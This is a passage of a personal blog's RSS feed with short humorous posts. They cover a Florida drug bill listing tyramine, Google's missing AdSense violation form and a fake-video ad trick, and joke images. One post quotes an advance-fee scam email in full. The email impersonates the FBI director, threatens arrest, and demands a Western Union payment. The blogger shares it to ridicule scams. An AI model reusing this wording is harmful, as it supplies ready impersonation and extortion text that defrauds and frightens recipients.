				<content:encoded><![CDATA[<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/08/should-take-an-oath21.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/08/should-take-an-oath21.png" alt="" title="should-take-an-oath" width="700" height="478" class="aligncenter size-full wp-image-1119" /></a></p>
<p>It would be interesting to see what arguments those who opposed the law come up with as well.</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/wybu_OTagXs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2012/08/06/the-truth-the-whole-truth-and-nothing-but-the-truth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best.Nigerian.Scam.EVER! (We gonna send you to jail if you don’t read this email, do you get me?)</title>
		<link>http://smackdown.blogsblogsblogs.com/2012/07/03/best-nigerian-scam-ever-we-gonna-send-you-to-jail-if-you-dont-read-this-email-do-you-get-me/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2012/07/03/best-nigerian-scam-ever-we-gonna-send-you-to-jail-if-you-dont-read-this-email-do-you-get-me/#comments</comments>
		<pubDate>Tue, 03 Jul 2012 18:22:00 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1106</guid>
		<description><![CDATA[I have seen some pretty off the wall Nigerian Scam letters in the past, but this one has to be one of the most amazing I have ever received. Reading through this is an anthropological goldmine of insight into just how disconnected the scammers in that country are from how life really works here in [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/07/cops-lights-sm.jpg"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/07/cops-lights-sm.jpg" alt="" title="cops-lights-sm" width="280" height="192" class="alignright size-full wp-image-1107" style="float: right; margin-left:8px;" onmouseup="hl2l(event);" /></a> I have seen some pretty off the wall <a href="http://www.419eater.com/" target="_blank">Nigerian Scam letters</a> in the past, but this one has to be one of the most amazing I have ever received. Reading through this is an anthropological goldmine of insight into just how disconnected the scammers in that country are from how life really works here in the US. The basic premise of the letter is that they are going to arrest me (through email, no less) if I don&#8217;t &#8220;read the attached email and comply&#8221;&#8230; but if I do they will send me $10 million. What a deal, huh? <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Oh, and on top of that these people are apparently under the impression that the Director of the FBI sends out arrest warrants to people via his personal AOL email address.</p>
<p>Here is the email in it&#8217;s entirety for your reading pleasure, as it came to me in an attachment actually named &#8220;warrant of arrest.txt&#8221;:<span id="more-1106"></span></p>
<blockquote class="eml"><p><strong>From</strong>: ROBERT S. MUELLER III, FBI DIRECTOR <huttoking@aol.com><br />
<strong>Reply-to</strong>: <fbioffice100@e-mail.ua><br />
<strong>Subject</strong>: FINAL WARNING: YOU WILL BE ARRESTED AND JAILED IF YOU FAIL TO READ THE ATTACHED E-MAIL AND COMPLY<br />
<strong>Date</strong>: Tue, 3 Jul 2012 08:25:13 -0700</p>
<p>Anti-Terrorist and Monetary Crimes Division<br />
FBI Headquarters In Washington, D.C.<br />
Federal Bureau Of Investigation<br />
J. Edgar Hoover Building<br />
935 Pennsylvania Avenue, NW Washington, D.C. 20535-0001 </p>
<p>Attention: Beneficiary</p>
<p>This is the final warning you are going to receive from me, do you get me? I hope you understand how many times this message has been sent to you.</p>
<p>We have warned you so many times and you have decided to ignore our e-mails or because you believe we have not been instructed to get you arrested and today if you fail to respond back to us with the payment details below, then we would first send a letter to the MAYOR of the city where you reside and direct them to close your bank account until you have been jailed and all your properties will be confiscated by the FBI, CIA and other enforcement agency. We would also send a letter to the company/agency that you are working for so that they could get you fired until we are through with our investigations because a suspect is not supposed to be working for the government or any private organization.</p>
<p>Your ID which we have in our database have been sent to all the crimes agencies in America for them to inset you in their website as an internet fraudsters and to warn people from having any deals with you. This would have been solved all this while if you had gotten the CERTIFICATE ENDORSED AND STAMPED as you were instructed in the e-mail below. This is the federal bureau of investigation (FBI) am writing in response to the e-mail you sent to us and am using this medium to inform you that there is no more time left to waste because you have been given a mandate. As stated earlier to have the document endorsed, signed and stamped without failure and you must adhere to this directives to avoid you blaming yourself at last when we must have arrested and jailed you for life and all your properties will be seized and bank account will be confiscated too.</p>
<p>You failed to comply with our directives/instruction and that was the reason why we didn&#8217;t hear from you, as our director has already been notified about you get the process completed yesterday and right now the WARRANT OF ARREST has been signed against you and it will be carried out in the next 48hours as strictly signed by the FBI director. We have investigated and found out that you didn&#8217;t have any idea when the fraudulent deal was committed with your information&#8217;s/identity and right now your ID is placed on our website as a wanted person, I believe you know that it will be a shame to you and your entire family because after then it will be announce in all the local channels that you are wanted by the FBI.</p>
<p>As a good Christian and a Honest man, I decided to see how i could be of help to you because i would not be happy to see you end up in jail and all your properties confiscated all because your information&#8217;s was used to carry out a fraudulent transactions, i called the EFCC and they directed me to a private attorney who can help you get the process done and he stated that he will endorse and stamp the document at the sum of $98 usd only and i believe this process is cheaper for you.</p>
<p>You need to do every possible thing today and tomorrow to get this process done because our director has called to inform me that the warrant of arrest has been signed against you and once it has been approved, then the arrest will be carried out, and from our investigations we learnt that you were the person that forwarded your identity to one impostor/fraudsters in Nigeria when he had a deal with you about the transfer of some illegal funds into your bank account which is valued at the sum of $10,500,000.00 only.</p>
<p>I pleaded on your behalf so that this agency could give you till 06/06/2012 so that you could get this process done because i learnt that several e-mails has been sent to you without getting a response from you. Bear it in mind that this is the only way that i can be able to help you at this moment or you would have to face the law and its consequences once it had befallen on you. You would make the payment through western union money transfer with the below details.</p>
<p>NAME: DURU VINCE<br />
ADDRESS: LAGOS, NIGERIA<br />
TEXT QUESTION: BETTER<br />
ANSWER: BEST<br />
AMOUNT: $98<br />
Senders Full Name:<br />
Sender Full Address:<br />
Direct Phone Number:<br />
MTCN: </p>
<p>Send the payment details to me as stated above and make sure that you didn&#8217;t hesitate making the payment down to the agency by today so that they could have the certificate endorsed, signed and stamped immediately without any further delay. After all this process has been carried out, then we would have to proceed to the bank for the transfer of your compensation funds which is valued at the sum of $10.500,000.00 usd which was supposed to have been transferred to you all this while.</p>
<p>Note: All the crimes agencies have been contacted on this regards and we shall trace and arrest you if you disregard this instructions. You are given a grace today to make the payment for the document after which your failure to do that will attract a maximum arrest and finally you will be appearing in court for act of terrorism, money laundering and drug trafficking charges, so be warned not to try anything funny because you are been watched.</p>
<p>Expecting your anticipated- Co-operation.</p>
<p>Yours in service,</p>
<p>Robert S. Mueller<br />
FBI DIRECTOR</p></blockquote>
<p>I really wish I had the time to engage these guys in a fuller discussion about my options to stay out of jail, but since I don&#8217;t if anyone else wants to take a stab at it, feel free. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div><em><a href="http://www.flickr.com/photos/webhostingreview/3090392251/sizes/z/in/photostream/" target="_blank">Police lights</a> image attribution goes to <a href="http://www.flickr.com/photos/webhostingreview/">davidsonscott15</a>.</em></div>
<p>&nbsp;</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/-2dfgxH6-ys" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2012/07/03/best-nigerian-scam-ever-we-gonna-send-you-to-jail-if-you-dont-read-this-email-do-you-get-me/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Florida Just Outlawed Chocolate, Y’all</title>
		<link>http://smackdown.blogsblogsblogs.com/2012/04/26/florida-just-outlawed-chocolate-yall/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2012/04/26/florida-just-outlawed-chocolate-yall/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 19:38:49 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[On The Ball-ness]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1082</guid>
		<description><![CDATA[Florida has definitely had it&#8217;s &#8220;doh!&#8221; moments, but this one is a doozy. It seems as if last month, March 23rd 2012, Florida HB 1175 went into effect, with the following intent: &#160; Controlled Substances: Adds to list of Schedule I controlled substances certain specified materials, compounds, mixtures, or preparations that contain hallucinogenic substances or [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/04/big-illegal-chocolate.jpg"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/04/big-illegal-chocolate.jpg" alt="" title="big-illegal-chocolate" width="200" height="200" style="float: right; margin-left:8px;" onmouseup="hl2l(event);" /></a> Florida has definitely had it&#8217;s &#8220;doh!&#8221; moments, but this one is a doozy. It seems as if last month, March 23rd 2012,  <a href="http://www.myfloridahouse.gov/Sections/Bills/billsdetail.aspx?BillId=48415" target="_blank">Florida HB 1175</a> went into effect, with the following intent:</p>
<div style="clear:both;">&nbsp;</div>
<p><span id="more-1082"></span></p>
<blockquote><p>Controlled Substances: Adds to list of Schedule I controlled substances certain specified materials, compounds, mixtures, or preparations that contain hallucinogenic substances or that contain any of these substances&#8217; salts, isomers, &#038; salts of isomers &#8211; <em>Florida HB 1175</em></p></blockquote>
<p>For those who don&#8217;t know, substance in Schedule I are <a href="http://en.wikipedia.org/wiki/Controlled_Substances_Act#Schedule_I_controlled_substances" target="_blank">classified as follows</a>:</p>
<p>&nbsp;(1) Schedule I.<br />
&nbsp;&nbsp;(A) The drug or other substance has a high potential for abuse.<br />
&nbsp;&nbsp;(B) The drug or other substance has no currently accepted medical use in treatment in the United States.<br />
&nbsp;&nbsp;(C) There is a lack of accepted safety for use of the drug or other substance under medical supervision.<br />
&nbsp;&nbsp;&nbsp;No prescriptions may be written for Schedule I substances, and such substances are subject to production quotas by the DEA.</p>
<p>So obviously substances in this category are some serious shit. The bill makes no bones about it either, and clearly states that:</p>
<blockquote><p>The following substances are controlled in Schedule I: unless specifically excepted or unless listed in another schedule, any material, compound, mixture, or preparation that contains any quantity of the following hallucinogenic substances or that contains any of their salts, isomers, and salts of isomers, if the existence of such salts, isomers, and salts of isomers is possible within the specific chemical designation</p></blockquote>
<p>So to be clear, that is <strong>any</strong> material, compound, mixture, or preparation that contains <strong>any quantity</strong> of any of the listed substances is now illegal, with <em>no exceptions</em> (you can&#8217;t even get items containing any of them by prescription). The biggest problem with this is that apparently no one who was involved in either writing or voting on the bill bothered to fact check the list of chemicals (which you can find in the full bill <a href="/images/florida-hb-1175-20120426.pdf" target="_blank">here</a>). Number 66 on this list if substances that will land you in jail for possession of any amount is tyramine, chemical name 4-Hydroxyphenethylamine. A quick search reveals <a href="http://en.wikipedia.org/wiki/Tyramine">exactly what that is</a>:</p>
<blockquote><p>Tyramine (4-hydroxyphenethylamine; para-tyramine, mydrial or uteramin) is a <strong>naturally occurring</strong> monoamine compound and trace amine derived from the amino acid tyrosine. <strong>Tyramine occurs widely in plants and animals</strong>&#8230; Foods containing <em>considerable</em> amounts of tyramine include meats that are potentially spoiled or pickled, aged, smoked, fermented, or marinated (some fish, poultry, and beef); most pork (except cured ham); <strong>chocolate</strong>; alcoholic beverages; and fermented foods, such as most cheeses (except ricotta, cottage cheese, cream cheese and neufchatel cheese), sour cream, yogurt, shrimp paste, soy sauce, soy bean condiments, teriyaki sauce, tofu, tempeh, miso soup, sauerkraut, broad (fava) beans, green bean pods, Italian flat (Romano) beans, snow peas, avocados, bananas, pineapple, eggplants, figs, red plums, raspberries, peanuts, Brazil nuts, coconuts, processed meat, yeast, and an array of cacti. &#8211; <em>a bunch of food that just got outlawed in Florida</em></p></blockquote>
<p>On the bright side, the fact that anyone selling chocolate &#8220;commits a felony of the first degree&#8221; will make dieting that much easier. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </p>
<p>Yes, we all know chocolate is addictive, but let&#8217;s face it, Halloween is going to suck this year for Florida&#8217;s kids.</p>
<div><em><a href="http://www.flickr.com/photos/sionakaren/3871516012/" target="_blank">Chocolate</a> image attribution goes to <a href="http://www.flickr.com/photos/sionakaren/">Siona Karen</a>.</em></div>
<p>&nbsp;</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/iyhhh6SX6g4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2012/04/26/florida-just-outlawed-chocolate-yall/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>I Got My Eye On You</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/11/22/i-got-my-eye-on-you/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/11/22/i-got-my-eye-on-you/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 22:15:36 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1068</guid>
		<description><![CDATA[&#160; No, really&#8230; &#160; &#160; I think this may be a sign that I am watching too much The Walking Dead. By the way, this would look great on you or your boyfriend/girlfriend on a t-shirt!]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<p>No, really&#8230;</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2011/11/eyeonyou-sm.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2011/11/eyeonyou-sm.png" alt="No, really, I got my eye on you..." title="I Got My Eye On You" width="700" height="435" class="aligncenter size-full wp-image-1070" onmouseup="hl2l(event);" border="0" /></a></p>
<p>&nbsp;</p>
<p>I think this may be a sign that I am watching too much <a href="http://www.amctv.com/shows/the-walking-dead" target="_blank">The Walking Dead</a>.</p>
<p>By the way, this would look great on you or your boyfriend/girlfriend <a href="http://www.zazzle.com/got_my_eye_on_you_tshirt-235915054424930054" target="_blank">on a t-shirt</a>! <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/1aVe2e9X4no" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/11/22/i-got-my-eye-on-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Says “Fuck It” For The Christmas Season, Removes The Ability To Report AdSense Violations</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/11/22/google-says-fuck-it-for-the-christmas-season-removes-the-ability-to-report-adsense-violations/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/11/22/google-says-fuck-it-for-the-christmas-season-removes-the-ability-to-report-adsense-violations/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 20:57:49 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1053</guid>
		<description><![CDATA[It has to be tough policing a program like AdSense. It must be exceptionally difficult during the holiday season, when the payoff to running scams grows so much more. It is so tough, in fact, that this year as the holiday shopping season grows near, with Black Friday just a few short days away, that [...]]]></description>
				<content:encoded><![CDATA[<div style="float:right; margin: 4px;"><img src="http://smackdown.blogsblogsblogs.com/images/googlecanthearyou.png" onmouseup="hl2l(event);" alt="Google Cant Hear You!"></div>
<p> It has to be tough policing a program like AdSense. It must be exceptionally difficult during the holiday season, when the payoff to running scams grows so much more. It is so tough, in fact, that this year as the holiday shopping season grows near, with Black Friday just a few short days away, that apparently Google has finally decided to say &#8220;fuck it&#8221;, make it easier on themselves, just remove the ability for anyone to report any violations of the program whatsoever, and allow the scammers to have a field day in the mean time.</p>
<p>While Google may want to give the impression to their stockholders and the public that they have both the search engine spam and advertising program cheaters fully under control, the truth is that they rely quite a bit on reports from the community and consumers for both spam and AdSense violations. For any spam that they find, Google asks <span id="more-1053"></span>people to submit a <a href="https://www.google.com/webmasters/tools/spamreport?hl=en" target="_blank">Google spam report</a>. At this point they require that someone log in before actually filing the report itself. This makes sense, since it helps prevent people erroneously filing large amount of spam reports against their competitors. For the AdSense violations they supply a separate form that does not require a log in, titled simply <a href="http://www.google.com/adsense/support/bin/topic.py?hl=en&#038;topic=1190500&#038;ctx=as2&#038;rd=1" target="_blank">Reporting a Violation &#8211; AdSense Help</a>. Usually I don&#8217;t run into offending sites with AdSense on them that fill me with enough of a sense of civic duty where I feel compelled to actually fill out a report, but I happened to land on one such today that actually tricked me into clicking on an ad in such a way that it really did annoy me. The page I landed on was <a href="http://www.bigsiteofamazingfacts.com/how-much-does-the-earth-weigh" target="_blank" rel="nofolow">BigSiteofAmazingFacts How Much Does The Earth Weigh</a> (yes, I was distracted by trivial shit again, don&#8217;t judge me), and in the right sidebar there was what appeared to be an embedded Youtube Video from Family Guy:</p>
<p>&nbsp;</p>
<p><img src="http://smackdown.blogsblogsblogs.com/images/howmuchdoestheearthweigh.png" onmouseup="hl2l(event);" alt="I see a video"></p>
<p>&nbsp;</p>
<p>Still distracted (of course) I clicked Play on the video, only instead of playing it suddenly brought me to a site trying to sell me bras. So, thinking I must have <em>missed</em> the rather large video in the sidebar when I tried to click on it, I hit the back button&#8230; and noticed that suddenly the video was gone altogether, and where before I had seen 2 AdSense blocks and a video, now there were 3 AdSense blocks instead:</p>
<p>&nbsp;</p>
<p><img src="http://smackdown.blogsblogsblogs.com/images/howmuchdoestheearthweigh2.png" onmouseup="hl2l(event);" alt="What video?"></p>
<p>&nbsp;</p>
<p>I hit refresh a few times but the video didn&#8217;t return. At that point I realized that it was actually a scam, so I cleared my cookies for that domain, hit refresh again, and viola, the &#8220;video&#8221; reappeared once again. At this point I was sufficiently irked that I actually decided I was going to report this asshole. It&#8217;s bad enough that a site with crap content like this is ranking #1 (the weight of the Earth is increasing each year from salt from the ocean spray? Seriously, wtf?), while people with content that is just fine are getting penalized supposedly from the Panda fallout. To add in that the guy who owns the site is ripping off advertisers as well just makes it so much worse. So, I headed on over to the AdSense Violation report to be a good citizen&#8230; and I was greeted by this:</p>
<p>&nbsp;</p>
<p><img src="http://smackdown.blogsblogsblogs.com/images/adsense-violation-report-missing.png" onmouseup="hl2l(event);" alt="What AdSense violation report?"></p>
<p>&nbsp;</p>
<p>An essentially blank page, with only a header, navigation, and a box asking me to tell AdSense how they can improve. Go figure.</p>
<p>From a financial perspective it does make sense for Google to make reporting AdSense violators more difficult, especially during the holidays. People who run scams like this actually generate Google money through the AdSense program, a program which currently has <a href="http://musictechpolicy.wordpress.com/2011/09/27/will-google-adsense-submit-the-power-of-google-to-voluntary-oversight/" target="_blank">absolutely no oversight</a>. It is exactly this lack of oversight that means that Google is the only one who knows how much, if any, of the advertising dollars are credited back to the advertisers once these scams are revealed. Hiding the violations report means that much fewer sites will be reported, more scams will be able to run for longer periods of time, and more money will wind up in Google&#8217;s pockets.</p>
<p>Is this profit motive really the reason that the report form is missing? If you ask Google I am sure they would say &#8220;of course not, we&#8217;re Google, you can trust us&#8221;. And since everything with Google is proprietary &#8220;behind closed doors&#8221; trade secrets with them, there is no way to know exactly how many violation reports suddenly went missing that apparently no one has noticed yet. My hunch though is that with something like this, as online shopping hits the holiday rush, the lack of reports that are coming in at the moment is actually too big for them not to have noticed by now, and them not fixing it for this long must be at least in some part intentional on their end.</p>
<p><strong>Update</strong>: As Jen from <a href="http://www.jensense.com/" target="_blank">JenSense.com</a> pointed out in the comments, there is another newer page available where you can actually file the report <a href="http://www.google.com/adsense/support/as/bin/static.py?page=ts.cs&#038;ts=1190500" target="_blank">located here</a>. However, I am not sure that makes it any better, and may in fact make it worse. I wound up on the empty page by actually going to Google and searching for [<a href="http://www.google.com/search?q=report+adsense+violation&#038;num=10" target="_blank">report adsense violation</a>]. The page that Jen provided is in the list, but it is down under the blank page that I found, another unhelpful blank page, and underneath a list of discussion of other people looking for the form. This begs the question&#8230; why did Google leave an otherwise empty page behind with just enough text (ie. header and title) and all of the old link juice there to outrank the &#8220;real&#8221; form? If they redesigned the site, then why not 301 redirect the old form(s) to the new one? It&#8217;s not like they don&#8217;t know how search engines work, ya know?</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/8_z8p-XGoPY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/11/22/google-says-fuck-it-for-the-christmas-season-removes-the-ability-to-report-adsense-violations/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>True Love Means Never Giving Up…</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/10/13/true-love-means-never-giving-up/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/10/13/true-love-means-never-giving-up/#comments</comments>
		<pubDate>Fri, 14 Oct 2011 04:44:47 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[motivational posters]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1044</guid>
		<description><![CDATA[&#160; &#160; &#8220;True Love means never giving up&#8221; &#8211; many a stalker were born from this one innocent sounding phrase.]]></description>
				<content:encoded><![CDATA[<p>&nbsp;<br />
<a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2011/10/never-give-up.jpg"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2011/10/never-give-up.jpg" alt="True Love means never giving up: many a stalker were born from this one innocent sounding phrase." title="never-give-up" width="700" height="467" class="alignnone size-full wp-image-1045" onmouseup="hl2l(event);" /></a></p>
<p>&nbsp;</p>
<p>&#8220;True Love means never giving up&#8221; &#8211; many a stalker were born from this one innocent sounding phrase.</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/PZb89fM1am4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/10/13/true-love-means-never-giving-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 1.198 seconds. --><!-- Cached page generated by WP-Super-Cache on 2013-05-14 15:42:49 -->
